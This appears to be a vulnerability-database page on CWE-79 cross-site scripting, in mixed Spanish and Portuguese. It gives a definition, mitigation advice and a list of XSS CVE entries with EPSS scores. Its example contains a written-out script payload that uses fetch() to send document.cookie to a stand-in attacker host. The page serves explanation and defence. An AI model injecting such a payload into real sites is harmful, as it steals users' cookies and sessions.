Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-52430MEDIUMThe caddy-security plugin 1.1.20 for Caddy allows reflected XSS via a GET request to a URL that contains an XSS payload and begins with eithEPSS 0.4%CVE-2024-31741MEDIUMCross Site Scripting vulnerability in MiniCMS v.1.11 allows a remote attacker to run arbitrary code via crafted string in the URL after logiEPSS 0.4%CVE-2024-12047MEDIUMWP Compress – Instant Performance & Speed Optimization <= 6.30.03 - Reflected Cross-Site Scripting via custom_server ParameterEPSS 0.4%CVE-2024-34240MEDIUMQDOCS Smart School 7.0.0 is vulnerable to Cross Site Scripting (XSS) resulting in arbitrary code execution in admin functions related to addEPSS 0.4%CVE-2024-31609HIGHCross Site Scripting (XSS) vulnerability in BOSSCMS v3.10 allows attackers to run arbitrary code via the header code and footer code fields EPSS 0.4%CVE-2025-3056MEDIUMDownload Manager <= 3.3.12 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2023-46925MEDIUMReportico 7.1.21 is vulnerable to Cross Site Scripting (XSS).EPSS 0.4%CVE-2024-9030MEDIUMCodeCanyon CRMGo SaaS note cross site scriptingEPSS 0.4%CVE-2024-10883MEDIUMSimpleForm – Contact form made simple <= 2.2.0 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-77792HIGHRegistrationMagic < 6.0.9.9 - Unauthenticated Stored XSS via Rating FieldEPSS 0.4%CVE-2024-6725MEDIUMFormidable Forms <= 6.11.1 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-25697MEDIUMStored XSS in Portal for ArcGISEPSS 0.4%CVE-2024-12422MEDIUMImport Eventbrite Events <= 1.7.4 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-5955MEDIUMCross-site scripting vulnerability in Trellix ePolicy Orchestrator prior to ePO 5.10 Service Pack 1 Update 3 allows a remote authenticated aEPSS 0.4%CVE-2024-0238MEDIUMEventON (Free < 2.2.8, Premium < 4.5.6) - Unauthenticated Arbitrary Post Metadata UpdateEPSS 0.4%CVE-2024-11203MEDIUMEmbedPress – Embed PDF, 3D Flipbook, Social Feeds, Google Docs, Vimeo, Wistia, YouTube Videos, Audios, Google Maps in Gutenberg Block & Elementor <= 4.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'provider_name'EPSS 0.4%CVE-2025-53903LOWThe Scratch Channel Has Potential Cross-Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-53904LOWThe Scratch Channel Has Potential Reflected Cross-Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-4579HIGHWP Content Security Plugin <= 2.3 - Unauthenticated Stored Cross-Site Scripting via CSP-Report FieldsEPSS 0.4%CVE-2024-10034MEDIUMGallery Blocks with Lightbox. Image Gallery, (HTML5 video , YouTube, Vimeo) Video Gallery and Lightbox for native gallery <= 3.2.4.2 - Authenticated (Editor+) Stored Cross-Site ScriptingEPSS 0.4%